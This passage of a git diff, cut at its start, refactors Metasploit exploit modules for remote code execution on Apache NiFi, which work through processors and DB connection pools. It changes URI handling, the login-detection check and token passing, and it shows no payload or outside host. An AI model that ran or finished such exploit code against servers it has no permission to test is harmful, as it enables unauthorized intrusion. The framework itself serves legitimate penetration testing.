MetasploitModule < Msf::Exploit::Remote vprint_good("Configured processor #{@processor}") configure_dbconpool vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})") - enable_dbconpool + start_dbconpool(@token, @db_con_pool) vprint_good('Enabling db connection pool') - start_processor + start_processor(@token, @processor) vprint_good('Starting processor') end end diff --git a/modules/exploits/multi/http/apache_nifi_processor_rce.rb b/modules/exploits/multi/http/apache_nifi_processor_rce.rb index df65d8bb0d..c40a7a7497 100644 --- a/modules/exploits/multi/http/apache_nifi_processor_rce.rb +++ b/modules/exploits/multi/http/apache_nifi_processor_rce.rb @@ -5,7 +5,6 @@ # Potential Improvements: # Add option to authenticate using client certificate -# Add a scanner module? class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -74,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote ) register_options( [ - OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']), + OptString.new('TARGETURI', [true, 'The base path', '/']), OptInt.new('DELAY', [ true, 'The delay (s) before stopping and deleting the processor', @@ -101,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote } opts = { 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, 'processors', @processor), + 'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor), 'ctype' => 'application/json', 'data' => body.to_json } @@ -123,18 +122,14 @@ class MetasploitModule < Msf::Exploit::Remote @cleanup_required = false - response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') }) - if !response + login_type = supports_login? + + if !login_type CheckCode::Unknown + elsif login_type + CheckCode::Detected('Apache NiFi instance supports logins') else - body = response.get_json_document - if !body.key?('config') - CheckCode::Safe - elsif body['config']['supportsLogin'] - CheckCode::Detected - else - CheckCode::Appears - end + CheckCode::Appears('Apache NiFi instance does not support logins') end end @@ -165,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote validate_config # Check whether login is required and set/fetch token - if supports_login + if supports_login? if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty? fail_with(Failure::BadConfig, 'Authentication is required. Bearer-Token or Username and Password must be specified')